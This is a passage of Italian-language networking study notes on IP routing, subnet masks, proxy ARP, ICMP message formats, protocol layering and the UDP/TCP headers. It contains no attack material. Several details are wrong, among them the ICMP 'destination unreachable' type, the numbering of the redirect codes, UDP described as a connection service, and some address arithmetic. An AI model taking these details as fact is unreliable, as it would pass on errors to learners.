il secondo e il terzo spazio servono a stabilire delle opzioni particolari per il debugging tipo impostare un certo percorso stabilito, fare in modo che sul datagram vengano scritti gli ip di tutti i router che tocca ecc... Padding: il campo hlen specifica la lunghezza dell'header in byte, se l'header non e' un multiplo esatto di un byte si aggiungono tanti bit di padding quanti ne servono per far tornare i calcoli. INCAPSULAMENTO: Abbiamo visto lo schema generale di un datagram ma sappiamo che ogni datagram viaggia attraverso reti diverse con protocolli diversi, questi devono rispettare l' IP ma si aggiungono all'IP stesso. In altre parole quando un datagram attraversa una LAN lo schema che abbiamo visto seppure rimanga intatto viene incapsulato in altri schemi, ovvero il datagram viene rinchiuso in un'altra "cornice" (frame) che contiene soddisfi i protocolli interni di tale LAN. All'uscita viene spogliato di questa cornice (che poi altro non sono che degli headers aggiunti in testa al pacchetto) e riinviato. ROUTING IP DATAGRAMS Abbiamo detto che il protocollo IP offre tre standard, il primo riguarda la gestione degli indirizzi, il sevondo riguarda i formati dei pacchetti, il terzo riguarda il routing ovvero come le varie LAN devono instradare i pacchetti che le attraversano. Il problema puo' essere suddiviso in due tipi: direct delivering (consegna diretta) : e' il caso in cui un pacchetto e' gia' nella rete di destinazione, in particolare il pacchetto puo' essere appena arrivato dall'esterno oppure puo' essere stato mandato da una macchina ad un altra della stessa LAN. La macchina A deve raggiungere la macchina B e lo scambio avverra' solo attraverso indirizzi fisici essendo tutto all'interno della rete locale. A legge nell'header l'indirizzo di destinazione, divide l'IP dest. nella parte netit e hostid, riconosce nel netid la propria rete, utilizza ARP per per trasformare l'IP di B nel suo mac address e utilizza il mac per far arrivare il pacchetto. indirect delivering (consegna indiretta) : e' il caso in cui un pacchetto viene inviato da una rete ad un'altra. Il primo problema e' quello di far uscire il pacchetto dalla propria LAN, se la rete di cui A (mittente) e' parte e' grande probabilmente vi saranno collegati piu' router e bisogna scegliere a quale router far arrivare il pacchetto. *Tutti gli scambi nell'indirect delivering si basano solo sul netid* Per decidere a quale router deve mandare il suo pacchetto A ha al suo interno una "routing table" ovvero una tabella che accoppia netid destinatario con l'ip del router "di strada" per quella LAN. In questo modo viene scelto il miglore tra i possibili. Una volta arrivato al router il pacchetto deve essere mandato attraverso altre LAN fino alla LAN di B (destinatario), si usa una tecnica chiamata next hop routing ovvero il router mantiene una sua routing table dove accoppia il netid destinazione con il prossimo router "di strada" per quella LAN. Osservazioni importanti: 1- Le routing tables accoppiano il netid di una LAN con l'IP del router piu' comodo per raggiungerla, si disinteressano degli hostid in modo da mantenere le tabelle piu' piccole. 2- Quando un datagram passa attraverso un router l'unica cosa che viene cambiata al suo interno sono gli header relativi al Time to live, non viene scritto da nessuna parte l'ip del router attraverso cui si passa. Questo e' fondamentale perche' ha come conseguenza il fatto che non si puo' conoscere la provenienza di un datagram se non leggendone l'ip mitt. negli headers. Per questo si chiama next hop routing, (traducibile con qualcosa del tipo "instradamento al prossimo salto" ;) ) perche' ogni router si disinteressa dell'intero percorso passato o futuro del datagram e pensa solo al prossimo salto. Questo ha ovviamente vantaggi e svantaggi: un "vantaggio" e' che non si puo' verificare se l'ip mittente e' veramente quello di partenza, uno svantaggio e' che se un router si rompe per qualche motivo non e' possibile dire a quelli prima, se non a quello immediatamente precedente, che quel router e' inutilizzabile e che devono cambiare le loro routing tables (come il router precedente si accorga dell'errore riguarda il protocollo tcp, vedi dopo). Facciamo un esempio di routing table giusto per chiarirsi. ___________ __________ ____________ ___________ | Rete A | | Rete B | | Rete C | | Rete D | | 10.0.0.0|---Q---|20.0.0.0|---R---| 30.0.0.0 |---S---|40.0.0.0 | |_________| |________| |__________| |_________| le reti A,B,C,D hanno netid rispettivamente 10,20,30,40; Q,R,S sono i router che le collegano, ognuno ha due indirizzi ip che perche' fanno parte di due reti , il router Q ha 10.0.0.5 per la A e 20.0.0.5 per la B; R ha 20.0.0.6 per la B e 30.0.0.6 per la C; S ha 30.0.0.7 per la C e 40.0.0.7 per la D. L a routing table di R e' del tipo: Netid Route 10 20.0.0.5 20 direct delivery 30 direct delivery 40 30.0.0.7 Tuttoquesto nel caso piu' semplice in cui i router non utlizzano le opzioni contenute negli header per instradare i datagram, che poi e' il caso piu' frequente, altrimenti le routing tables avranno piu' alternative per ogni netid. Alcune implementazioni di questo sistema sono l'utilizzo dei default routers e degli host specific routes. I primi servono per macchine collegate a piccole reti locali con solo un router, ogni volta che un pacchetto deve essere mandato fuori dalla rete viene inviato sempre allo stesso router di default che lo manda all'esterno (tipo piccola LAN collegata con un provider). Gli host specific routes sono dei percorsi particolari che vengono assegnati a degli IP di prova, quando il router riceve un pacchetto con uno di questi IP come destinatario sa che il pacchetto deve essere spedito ad un altro router corrispondente (si usa per il debugging). In generale un semplice algoritmo di routing utilizzato in un router e' di questo tipo: vale : NT = routing table, DD = direct delivering, NH = next hop INIZIO | \|/ Assegna D= IP destinatario N = netid | \|/ N corrisponde ad una DD ? -------------->SI---->manda al NH----->| | | NO | \|/ | RT contiene uno specific host per D?---->SI---->manda al NH----->| | | NO | \|/ | RT contiene un NH per N ? ------------->SI---->manda al NH----->| | | NO | \|/ | RT contiene un default route per N ? --->SI---->manda al NH----->| | | NO | \|/ | Dichiara errore di routing | | \|/ |<-----------------------<---------------------- \|/ FINE Ultime osservazioni: quando un host finale riceve un datagram controlla se l'ip di destinazione e' veramente il suo, se e' sbagliato lo scarta. Perche' non lo rimanda indietro? primo perche' se l'host lo rimanda non ci si accorgera' mai dell'errore e si continuera' a commetterlo, poi per evitare bombardamenti voluti o meno; immaginiamo che un router faccia un involontario broadcast su tutta una LAN di un datagram, se ogni host che lo riceve lo rimanda all'host destinazione questo sara' sommerso da un grosso numero di datagram inutili (NB normalmente il broadcast su una LAN e' permesso solo a certi utenti). SUBNET E SUPERNET ADDRESS EXTENTIONS Concetti generali: Quando il protocollo e' stato ideato non si pensava che il numero di reti aumentasse in modo cosi' rapido in poco tempo, uno dei problemi del protpcollo adesso e' quello di fornire sufficienti indirizzi. In generale i problemi sono essenzialmente: 1: gli indirizzi possono finire (in particolare ci sono pochi ip di classe B per reti di medie dimensioni). Sappiamo infatti che ad ogni rete viene assegnata una classe di ip, se una rete A e' costituita da 300 host non basta che a tale rete venga assegnata una classe C e gli viene assegnata una classe B del tipo 123.23.0.0. quindi 254*254=64.516 [1] indirizzi di cui solo 300 vengono utilizzati. 2: le routing tables diventano enormi utilizzando nuovi ip. Come risolvere il problema senza rivoluzionare il protocollo? Esistono essenzialmente tre modi per recuperare spazio inutlizzato che consistono nel riempire classi di indirizzi non completamente utilizzate con altre sottoreti. In altre parole se alla rete A e' stata assegnata una classe 23.12.0.0. che lascia 254*254=64516 indirizzi, ma la rete A ne utilizza solo 10.000 si fa in modo che gli altri 55.025 vengano utilizzati da altre reti, utilizzando lo stesso netid per reti diverse. Il problema sta nel rendere tutto questo invisibile dall'esterno. 1) Trasparent routers: Ovvero dei routers contenuti in una rete locale che connettono un'altra rete locale alla rete globale sfruttando un'intervallo di indirizzi che non viene utilizzato. Per es. Ad arpanet e' stata assegnata la classe A 10.0.0.0 di cui non usa la terza cifra, gli idirizzi sono tutti del tipo 10.g.f.d. dove f rimane inutilizzato. Ad arpanet si puo' attaccare un trasparent router che gestisca autonomamente quello spazio di ip per una driversa lan. La lan gestita dal router non ha un netid e i suoi host sono gestiti come se fossero direttamente attaccati alla wan attraverso il tr.router che gestisce entrate ed uscite con una sua routing table (ci interessa poco...). 2) Proxy ARP: Ammettiano che la rete A sia parzilamente inutilizzata, vogliamo aggiungere alla rete A un'altra lan B. A e B vengono collegate con un router R e gestite come un'unica lan, condividono lo stesso netid e quindi ogni host di A considera ogni host di B come se fosse un elemento di A e viceversa. Le comunicazioni con l'esterno funzionano normalmente attraverso R che mantiene una routing table dove gestice gli indirizzi ip dei singli host, le comunicazioni tra A e B avvengono sfruttando R e il protocollo ARP (Il problema sta nel fatto che le comunicazioni sulla stessa rete avvengono attraverso indirizzi fisici, siccome un elemento di A crede che gli elementi di B siano sulla stessa rete bisogna "ingannare" il sistema di indirizzi fisici). Ammettiamo che l'host H1 (appartenete ad A) debba comunicare con H2 (appartenete a B); quando H1 si accorge che il netid di H2 e' il suo, crede che H2 sia sulla sua stessa rete quindi utilizza ARP richiedendo un un indirizzo fisico per H2 su A. R conosce l'indirizzo ip e fisico di H2 e sa che sta sulla rete B e risponde ad H1 con il suo indirizzo fisico "spacciandosi" per H2. Dopodiche' rinvia il pacchetto a H2. Il vantaggio di questa tecnica e' che aggiungendo una rete B si lasciano inalterate le routing table della rete A, lo svantaggio e' che si applica solo su reti che utilizzano ARP e che non consente protezioni sullo Spoofing (quando un host si "spaccia" per un altro e intercetta i suoi pacchetti), il perche' e' abbastanza complesso. In piu' non c'e' uno strumento per aggiornare le R. T. quindi va fatto a mano. 3) Subet Addressing: E' il metodo piu' utilizzato e considerato standard nel protocollo ip. Consiste nel suddividere ad albero le reti basandosi sull'ip. Per esempio: ammettiamo di voler utilizzare la classe B 100.100.0.X. con 3 reti, possiamo utilizzare la terza cifra per discriminare tra queste, tipo 100.100.100.X per la rete A 100.100.200.X per la rete B 100.100.150.X per la rete C ognuna costituita da 254 host (per assurdo si potrebbero gestire con la stessa classe B fino a 254 reti ognuna di 254 host o 254*254 reti ognuna con un solo host...). La gestione degli ip e' lasciata all' amministratore della rete, e' lui che decide quale porzione dell'ip indica il netid e quale parte indica l'host. Questo comporta che apriori non e' piu' possibile sapere quale porzione di un ip rappresenta il netid e quale l'hostid; abbiamo visto che il routing si basa solo sul netid ed e' quindi necessario saperelo distinguere. Facciamo un esempio, un router riceve un pacchetto con ip destinatario 10111001.11101110.111001010.11100011 il normale procedimento (senza subnet) e' quello di distinguere a quale classe appartiene, (i primi bit sono 10 -> classe B), a questo punto si sa quanto e' grande in netid (classe B -> dal bit 2 al bit 15 e' netid), si possono controllare le corrispondenze sulla sua RT e mandare al next hop. Se si utilizzano subnet il problema e' saper distinguere quale parte dell'hostid viene utilizzata come ulteriore netid. Ammettiamo che la rete B dell'esempio sia divisa in 32 subnet 10 111001.11101110.11001010.11100011 TT NNNNNNNNNNNNNNN SSSSSHHH HHHHHHHH ove T = bit di classe N = vero netid S = netid delle subnet (5 bit in binario -> 2^5=32 subnet) H = hostid ove la parte S puo' prendere i valori relativi alle sottoreti 00000 -> subnet 1 00001 -> subnet 2 00010 -> subnet 3 ecc... NB Normalmente si cerca di mettere nella stessa classe Subnet fisicamente vicine ma non c'e' nessuna regola ferrea. Il fatto che le subnet siano all'interno della stessa classe non vuol dire per forza che siano fisicamente vicine, mandare un datagram verso la subnet 1 non voul dire automaticamente avvicinarsi anche alla 2, potrebbero essere una in polinesia e una a Trastevere. Il router ha quindi bisogno di sapere quale e' il vero netid (ovvero la parte N e S). Si usano delle subnet mask, ovvero delle "maschere" che ci dicono quale e' la parte di netid e quale quella di hostid. Una subnet mask e' una serie di 4 ottetti del tipo 11111111.11111111.11111000.00000000 gli 1 rappresentano la parte di netid, gli zero quella di hostid. Quella sopra e' la mask dell'esempio precedente, altri esempi sono: 11111111 11111111 11101100 11000000 11111111 11111100 11000110 11100000 il protocollo non impone che i bit di netid siano sequanziali ma lo consiglia. Le routing tables diventano del tipo: <subnet mask,network address, next hop address> il router fa un' operazione di and logico tra l'indirizzo IP del destinatario del pacchetto e il primo campo di ogni riga della RT (l'and funziona cosi' (1 and 1) = 1, (0 and 0) = 0, (1 and 0) = (0 and 1) = 0 bit per bit, quello che viene fuori e' il netid) fino a quando il risultato non combacia con il netid del secondo campo. Nel nostro esempio abbiamo un ip destinatario: 10111001.11101110.11001010.11100011 e una RT che conterra' una riga formata da <11111111.11111111.11111000.00000000 ; 10111001.11101110.11001 ; IP next hop) che corrisponde al next hop per la rete che ha come subnet 11101 (quella che contiene il nostro host finale). facendo l'operazione and tra l'ip e la subnet si ottiene 10111001.11101110.11001010.11100011 and 11111111.11111111.11111000.00000000 = --------------------------------------- 10111001.11101110.11001000.00000000 NNNNNNNNNNNNNNNNNNNNNNNHHHHHHHHHHHH il risultato di un and logico essendo gli ultimi bit della subnet mask uguali a zero ha gli ultimi bit uguali a zero, tutti quelli prima sono il netid. A questo punto il risultato coincide con il secondo campo della RT quindi si puo' utilizzare il next hop. PROMEMORIA SUI PROTOCOLLI DI INTERNET La rete si basa sull' IP ovvero internet protocol, tutti gli scambi fatti in rete vengono fatti ubbidendo al formato IP. La rete pero' offre servizi diversi con necessita' diverse e quindi anche se la base comune da usare e' l'IP si aggiungono altri protocolli che soddisfino tali necessita'. Ogni volta che si manda un datagram da una macchina ad un'altra lo si manda utilizzando il frame dell' IP ma al suo interno il datagram puo' essere organizzato secondo altri protocolli (tcp,udp,icmp..). Quando si riceve un datagram esiste nell'IP header il campo Protocol che specifica in quale formato sono organizzati i dati all'interno, la macchina ricevente legge tale campo e sa se il contenuto e' da interpretare come un messaggio tcp, udp ecc... ICMP FORMAT (((((((((((((icmp fa parte dello strato internet!!!))))))))))))))) Fin ora abbiamo descritto il protocollo di basso livello attraverso il quale tutte le applicazioni comunicano su una rete basata sul protocollo ip. Il formato icmp offre un certo tipo di servizio che si basa sull' ip per comunicare determinati tipi di dati, nonstante questo e' una parte cosi' fondamentale del protpcollo che viene considerata di basso livello. ICMP (Internet Control Message Protocol) serve a riportare errori all'host mittente. Quando un host destinazione o un router si accorge di un errore (ip sbagliato, router sovraccarico che non puo' inviare datagram...) rimanda al mittente un messaggio nel formato icmp, la macchina che riceve tale messaggio utilizzera' un sw particolare per ovviare a tale errore. E' evidente che non sempre l'errore puo' essere corretto, in particolare non possono essere corretti quegli errori che non dipendono dal mittente, ammettiamo che un router sbagli il routing, il router successivo non sa da dove tale datagram provenisse quindi rimanda un messaggio di errore alla macchina mittente, anche la macchina mittente non conosce il punto in cui e' avvenuto l'errore quindi non e' possibile rimediarvi. Normalmente comunque l'errore parte dalla macchina iniziale. Un messaggio icmp viene incapsulato con il formato: ___________________________________________________________ |frame header | | |______________|____________________________________________| ____________________________________________ | ip datagram header | dati | |____________________|_______________________| _______________________ |icmp header|dati icmp | |___________|___________| Il software dei router non permette che un messaggio icmp venga inviato per un errore provocato da un altro messaggio icmp per evitare che si inneschi un loop. ICMP header: Non esiste un header standard per tutti i messaggi di errore, il formato cambia da errore ad errore, tutti hanno in comune la maggior parte dei campi e ne hanno di propri: in particolare il primo identifica il tipo di errore (type), il secondo contiene altre specifiche sull'errore, il terzo e' un checksum con la stessa funzione del checksum dell' ip header. i tipi di errore sono: valore di type tipo di errore 0 Echo reply 3 Destinazione non raggiungibile 4 Source quench 5 Redirect 8 Echo request 11 Time exceeded for datagram 12 Parameter problem for a datagram 13 Timestamp request 14 Timestamp reply 15 Information request (obsolete) 16 Information reply (obsolete) 17 Address mask request 18 Address mask reply Ping o echo request e reply (type=0,8) 0_________8_________16_________24_________31 |Type(0,8)|codice(0) | checksum | | identifier | sequence number | |___________________________________________| | dati opzionali | |___________________________________________| se si vuole verificare la presenza in rete di un host o vedere se tale host e' attivo si manda un messaggio con il campo type su 8, al messaggio si assegna un numero di identificazione (identifiier) e dei dati opzionali. Se si riceve un messaggio di echo si rimanda una risposta (type=0) indicando un nuovo identifier per la risposta, ponendo nel seq number l'identifier che era nella richiesta di echo e ricopiando i dati opzionali inseriti come verifica. Destinazione non raggiungibile (type=2) 0_________8_________16_________24_________31 |Type (2)|codice(0,12)| checksum | | non usato (tutti 0) | |___________________________________________| | internet header + primi 64 bits | |___________ del datagram perso ____________| il campo codice indica i vari motivi percui una destinazione puo' non essere raggiungibile. Codice Significato 0 Rete irraggiungibile 1 Host irraggiungibile 2 Protocollo irraggiungibile 3 Porta irraggiungibile 4 Frammentazione necessaria ma campo df attivato 5 Source route fallita 6 Rete di destinazione sconosciuta 7 Host sorgente isolato (?) 8 Host di destinazione sconosciuto 9 Comunicazione con la rete di destinazione probita 10 Comounicazione con l'host proibita 11 Rete non raggiungibile per quel tipo di servizio 12 Host non raggiungibile per quel tipo di servizio il punto 4 avviene quando il datagram andrebbe frammentato ma il campo df nelle opzioni del suo header non lo permette, il punto 5 avviene quando nelle opzioni si specifica un route che il datagram deve percorrere ma questo non e' possibile, gli altri sono abbastanza chiari. Source Quence (type=4) Questo tipo di messaggio viene inviato quando il router a cui si collega per primo e' congestionato e non puo' inviare pacchetti. Ammettiamo che un router sia sovraccarico, un certo numero di datagram vengono messi in memoria e mandati in ritardo quando il router e' meno carico, quando anche tale memoria non e' piu' suffifciente i datagram vengono scartati e alla sorgente viene inviato un messaggio source quence. La sorgente riduce il numero di dati inviati per evitare il sovraccarico e poi lentamente aumenta di nuovo la velocita' fino al successivo messaggio di errore. Il formato dell'header e': 0_________8_________16_________24_________31 | Type (4)|codice(0)| checksum | | non usato (tutti 0) | |___________________________________________| | internet header + primi 64 bits | |_____________ del datagram perso __________| Redirect (type=5) Serve per aggiornare le routing tables dei vari host. Ammettiamo che l'host A mandi un datagram al router R e che qusto si accorga che tale datagram poteva essere diretto ad un altro router (collegato alla lan di A) che aveva un percorso migliore da seguire, R manda ad A un messaggio di redirect segnalando il router migliore da scegliere per ragiungere la destinazione. In questo modo A puo' aggiornare e miglorare la sua R.T. questo inoltre permette che un nuovo host abbia alla sua nascita una R.T. anche formata da un solo collegamento e questa venga aggiornata via via nel tempo. Per aggiornare le R.T. dei router si utilizzano altre tecniche. 0_________8_________16_________24__________31 | Type(5)|codice(0-3)| checksum | |____________________________ _______________| |indirizzo del router da aggiungere alla R.T.| |_____________________________ ______________| | internet header + primi 64 bits | |____________del datagram perso _____________| Codice Significato 0 Ridirigi datagram per la rete (obsoleto) 1 Ridirigi datagram per un certo host 2 Ridirigi datagram per un tipo di servizio e per una rete 3 Ridirigi datagram per un tipo di servizio e un host I codici 3,4 sono per reindirizzare certi tipi ti servizio su reti piu' efficienti in quel servizio. Time excedeed (type=11) Si usa quando il campo time to live arriva al valore zero. 0_________8_________16_________24_________31 |Type(11)|codice(0,1)| checksum | | non usato (tutti 0) | |___________________________________________| | internet header + primi 64 bits | |_____________ del datagram perso __________| Codice Significato 0 TTL ha raggiunto zero 1 Tempo di riassemblamento = 0 Quando un router riceve un frammento di datagram fa partire un timer, se il frammento successivo non arriva entro la fine di un tempo stabilito il router scarta il frammento (codice 1). Timestamp request/reply (type 13,14) Serve ai router per sincronizzare gli orologi interni. Un router A manda una richiesta ad un router B indicando l'ora solare nel momento in cui il datagram e' stato inviato, il router B risponde inviando l'ora di arrivo della richiesta e l'ora in cui la risposta e' partita. In questo modo i router si sincronizzano e possono testare la velocita' di connessione tra di loro, il grado di sovraccarico di un router "adiacente" ecc... 0___________8___________16___________24___________31 |Type(13,14)| codice(0) | checksum | |__________________________________________________| | identifier | seq. Number | |__________________________________________________| | Tempo al momento della richiesta | |__________________________________________________| |Tempo al momento della ricezione della richiesta | |__________________________________________________| | Tempo al momento dell'invio della risposta | |__________________________________________________| I campi identifier e seq. hanno lo stesso significato che nel tipo 0 o 8. Tipi 15 e 16 Venivano utlilizzati per determinare il proprio ip, ora viene fatto attraverso il protocollo arp. Subnet masks reply/request (type=17,18) In alcuni casi un host puo' richiedere una subnet mask (vedi avanti) ovvero una "griglia" che specifichi quale porzione di un ip e' il netid e quale e' l' host id, la risposta contiene il subnet mask. 0__________8__________16_________24_________31 |Type(17,18)|codice(0)| checksum | | identifier | sequence number | |___________________________________________| | address mask (nel reply) | |___________________________________________| PROTOCOL LAYERING (stratificazione del protocollo) La stratificazione riguarda l'organizzazione dell'hardware e del software utilizzato nella comunicazione attraverso il protocollo tcp/ip, in particolare come il software venga suddiviso in livelli ognuno con una sua funzione specifica. L'organizzazione del software e' tale da rispettare gli standard tcp e da rendere piu' semplice la risoluzione dei problemi piu' frequenti. Immaginiamo due macchine che comunicano sulla rete come in figura Macchina 1 Macchina 2 Strato n Strato n Strato n-1 Strato n-1 . . . . Strato 1 Strato 1 \ / \ / \ / \ / \ / \________Rete_________/ Quando la macchina 1 comunica con la macchina 2 attraveso la rete i dati attraversano tutti gli strati del software sia in partenza che in arrivo . Ovviamente non tutti i sw sono organizzati secondo le indicazioni del tcp ma sarebbe opportuno che contenessero al loro interno una stratificazione che rispetta tale standard, indipendentemente da tutto quello che c'e' intorno. (In realta' la rete puo' essere in connessione con strati che non siano il primo, la schematizzazione in figura e' abbastanza teorica). Esistono due standard utilizzati, il primo e' l' ISO model ovvero il modello deciso dalla organizzazione internazionale per la standardizzazione ed e' composto da 7 protocolli ognuno per uno strato (qiondi 7 strati), una versione molto utilizzata in europa del modello ISO e' l'X.25 utilizzato da quasi tutte le compagnie telefoniche , e' un modello concettuale e non uno specifico protocollo, viene utilizzato per molti protocolli diversi in ambiti diversi. NB Normalmente una macchina non e' collegata direttamente al router, ma ad un packet switch (PS) che poi la collega aldifuori della sua rete, il protocollo spiega anche come questa connessione deve avvenire. 1) Physical layer (strato fisico, concreto): Contiene la descrizione delle comunicazioni fisiche tra macchina (con la sua interfaccia di rete o modem) e il PS a cui e' collegata. Tensioni, voltaggi, procedure.... 2) Data link layer (strato di "connessione" dei dati): specifica il formato in cui i dati vengono mandati dalla macchina al PS, i frame utilizzati (diversi da quelli tcp) e aggiunge controlli sull'effettivo arrivo del dato al PS. 3) Network layer: specifica i protocolli interni della rete a cui l'host si collega, questi sono indipendenti dal protocollo con cui la macchina si collega al PS. 4) Transport layer : si occupa di controllare l'affidabilita' del trasporto end to end ovvero da un estremo all'altro. 5) Session layer :spiega come organizzare il sw per supportare tutte le applicazioni. 6) Presentation layer : comprende particolari funzioni necessarie per usare una rete, tipi di compressione o modi di apertura di particolari file... 7) Application layer : spiega come devono essere costruite le applicazioni per utlizzare la rete, posta elettronica, ftp ecc... Il secondo standard e' il Tcp/ip layering model e definisce 4 strati: 1) Network interface layer : Interfaccia con il network, spiega come tale interfaccia deve essere in grado di gestire l'ingresso e l'uscita dei pacchetti ip. Questa puo' essere gestita in modo indipendente a seconda della LAN su cui si usa ma deve conformarsi con il protocollo (con il formato dei dati in ingresso/uscita e tutto il resto). 2) Internet Layer: Gestisce l'incapsulamento dei dati in ip datagram, riempie gli header, fa il routing per i pacchetti in uscita, controlla i pacchetti in ingresso e determina se vanno riinviati o elaborati su quella macchina, gestisce i messaggi ICMP. 3) Transport Layer: Gestisce la comunicazione tra applicazioni diverse connesse in rete, controlla l'arrivo dei pacchetti e gli errori durante il trasporto attraverso la comunicazione end-to-end (direttamente con l'altra macchina) e i checksum negli headers. 4) Application Layer: Applicazioni che interagiscono con la rete fornendo servizi diversi (browser, irc...) Le differenze fondamentali tra i due protocolli sono nel fatto che l' X.25 aggiunge controlli su piu' passaggi e quindi su layer diversi (anche se non menzionati nello schema ogni layer agigunge un controllo al checksum e al timeout e se necessario riinvia il datagram), mentre il tcp affida il controllo solo al livello end-to end. In altre parole con X.25 ogni router controlla il pacchetto, se e' corrotto manda un messaggio di errore, nel tcp ogni router passa i pacchetti, il controllo viene fatto a destinazione. Questo rende le reti X.25 piu' affidabili ma piu' complesse, utilizzate soprattutto per servizi in cui l'utente non "collabora" ma paga e richiede che il servizio gli sia formito con affidabilita' (vedi reti telefoniche) mentre nel tcp ogni host verifica il funzionamento della connessione e agisce di consequenza. Il concetto basilare del layering: "Lo strato n nella macchina di destinazione deve ricevere esattamente lo stesso pacchetto che era nello strato n della macchina mittente". In questo modo si ha la sicurezza che programmando un'applicazione ogni strato sia indipendente dall'altro e che ogni strato possa essere programmato sapendo che certe condizioni si verificheranno sia alla partenza che all'arrivo (un po' come la programmazione ad oggetti, si sa quel che entra, quello che esce e non interessa quello che succede nel mezzo). Ovviamente questo si verifica solo in parte, per esempio il campo time to live cambia dall'invio alla ricezione, ma il concetto si puo' comunque applicare tenendo presenti le eccezioni. **************PARTE II PROTOCOLLI DI TRASMISSIONE********************* USER DATAGRAM PROTOCOL (UDP) Qual'e' la destinazione finale di un datagram all'interno di un' host? la risposta che sembra piu' ovvia e' un processo; in particolare quel processo che ha bisogno dei dati in arrivo dalla rete. Identificare la destinazione finale con un processo ha tre svantaggi: a) Non sempre la macchina mittente conosce esattamente come funzionano i processi sulla macchina destinataria (possono anche avere SO diversi). b)Vorremmo poter interrompere o cambiare processi sulla macchina di arrivo senza avvertire la macchina mittente c)Un processo puo' implementare piu' funzioni e viceversa, che si fa in quel caso? La soluzione a tale problema consiste nell'ignorare i processi stessi e utilizzare delle entita' astratte chiamate Protocol Ports (porte). Ad ogni porta e' associato un intero e l'OS gestisce tali porte, ovvero sa lui come associare una porta ad un processo e viceversa. L'UDP fornisce un ureliable-connection-delivery-service tra applicazioni di macchine diverse. Utilizza la struttura di base dell'ip e non aggiunge nessuna verifica sull'avvenuto arrivo dei dati (unreliable). Aggiunge la capacita' di specificare direttamente con quale applicazione comunicare. UDP FORMAT L'UDP aggiunge degli header al dategram della forma: 0___________8___________16____________________31 | Porta di partenza | Porta di arrivo | |_______________________________________________| | Lunghezza del messaggio udp | UDP checksum | |_______________________________________________| | dati | |_______________________________________________| Il campo lunghezza.... contiene la lunghezza del messaggio in ottetti, il checksum e' un valore di controllo su tutto il datagram (NB il checksum del protocollo ip e' riferito unicamente agli header del datagram quindi questo valore e' l'unico controllo sui dati utilizzabile). Questo viene calcolato tenedo presente alcune particolarita': esistono due campi che NON fanno parte del datagram ma di cui si tiene conto nel CALCOLARE il checksum, tali campi sono un padding alla fine, per fare in modo che il conto degli ottetti sia un numero intero e uno pseudo header della forma: 0___________8___________16____________________31 | IP mittente | |_______________________________________________| | IP destinazione | |_______________________________________________| | Zero | Protocollo|lunghezza del datagram| |_______________________________________________| dove il campo protocollo e' un intero che identifica l'UDP (17), il campo zero sono, appunto, zeri, la lunghezza del datagram non contiene lo pseudo-header. A cosa serve tale pseudo header? abbiamo detto che ne' questo header ne' il padding fanno parte del datagram quindi NON vengono inviati con il datagram ne' vengono contati nella lunghezza, servono affinche' il checksum controlli anche l'ip di dest. e mittente. Quando il datagram viene creato si aggiungono questi due campi, si calcola il checksum e si tolgono, quando il datagram arriva a destinazione la macchina prende dagli header del formato ip i numeri ip mitt. e dest., ricrea uno pseudo header, lo aggiunge al pacchetto che gli e' arrivato, ricalcola il checksum con lo stesso algoritmo (complemento a uno in sedici bit della lunghezza di tutto il pacchetto) e vede se ci sono stati errori nella ricezione del datagram, dopodiche' toglie ancora lo pseudo header e esamina il pacchetto. In questo modo viene fatto un controllo anche sui campi descritti nello pseudo header. LAYERING E ENCAPSULATION L'UDP e' implementato nel transport layer, quando un datagram viene inviato segue il seguente schema: LAYER OPERAZIONE Application Prepara i dati Transport Aggiunge l'UDP header Internet Aggiunge l'IP header Network Incapsula tutto in un frame. il contrario succede quando un datagram arriva a destinazione: LAYER OPERAZIONE Application Analizza i dati Transport Toglie e analizza l'UDP header Internet Toglie e analizza l'IP header Network Toglie il frame. L'UDP in realta' viola il concetto che sta alla base del layering, sappiamo infatti che quando un datagram viene mandato, a livello transport bisogna aggiungere un campo checksum nell'header UDP, per calcolare il checksum bisogna ricreare lo pseudo header ma lo pseudo header contiene l'ip e l'ip verra' aggiunto solo nello strato successivo! Bisogna che esista una comunicazione tra lo strato Transport e lo strato Internet, e questo lede il l'idea di indipendenza che sta alla base del layering. In effetti l'UDP non rispetta tale idea ma e' stato creato in questo modo e inserito "forzatamente" nel protocollo per motivi di praticita'. MULTIPLEXING, DEMULTIPLEXING E PORTE Il concetto di multiplexing appare evidente nell'UDP, tutte le volte che un datagram arriva questo viene mandato all'applicazione che lo richiede (nel layer application) discriminando sul numero della porta che a cui e' destinato e viceversa per datagram in partenza. Spetta al sistema operativo concedere l'apertura di una porta ad una certa applicazione o meno, se un pacchetto viene inviato ad una porta che non e' aperta vienr risposto al mittente con un messaggio ICMP di tipo "port unreacheble"; alcune porte sono associate a servizi standard (ftp, nntp, echo...) la maggior parte non e' associata a nessun servizio in particolare e viene gestita dal SO ad applicazioni che lo richiedono, se non si conosce la porta relativa a un certo servizio si puo' fare una richiesta all'host nella quale si domanda quale porta e' associata ad un certo servizio. TRANSMISSION CONTROL PROTOCOL (TCP) Il tcp e' il primo Reiable Stream Transport Service ovvero un servizio che garantisca la comunicazione senza errori (Reliable). E' ovvia la necessita'di un tale mezzo per la comunicazione dei dati e' meno ovvio come possa essere ottenuto basandosi su un sistema come l'ip che a sua volta e' nato "unreliable". Si potrebbe spostare il controllo sulla correttezza dei dati dal livello internet al livello applicazione, ovvero si potrebbe pensare di implementare un controllo su ogni applicazione che si utlizza ma questo creerebbe troppe diversita', si utilizza quindi un protocollo comune che offra tale servizio. Cosa specifica il tcp? specifica il formato dei dati, il modo in cui le due macchine verificano la stabilita' della connessione (ack system), il modo per distinguere destinazioni multiple su una macchina, come recuperare errori, come iniziare e concludere una connessione.... Il tcp e' un protocollo separato rispetto all'ip ma funziona se utilizzato sull'ip, nonostante questo il tcp puo' essere utilizzato anche per altre applicazioni. Le proprieta' di un Reliable delivery service sonoessenzialmente: 1- Stream Orientation (ovvero orientazione del flusso), il protocollo che sta tra due host riceve da una sorgente un flusso di dati e lo riconsegna uguale alla destinazione. 2- Virtual Circuit Connection: prima di iniziare il trasferimento le due macchine creano una "connessione virtuale" ovvero comunicano decidendo in quale modo si scambieranno dati successivamente, anche durante lo scambio i sw che gestiscono il protocollo su entrambe le macchine si mantengono in contatto verificando che la connessione sia ancora effettivamente funzionante, se questa si interrrompe, entrambe le macchine se ne accorgono. 3- Buffered transfer: I dati vengono trasferiti come ottetti (bytes) in datagram che ne contengono un certo numero massimo, prima di mandare un datagram il protocollo puo' aspettare che l'applicazione gli abbia fornito dati a sufficienza per riempire un intero datagram per non sprecare spazio. Allo stesso modo il protocollo contiene una funzione push che forza l'invio di un pacchetto anche se questo non e'completamente pieno nel caso che l'applicazione abbia terminato i dati da mandare. 4- Unstructured stream: I dati inviati non mantengono le 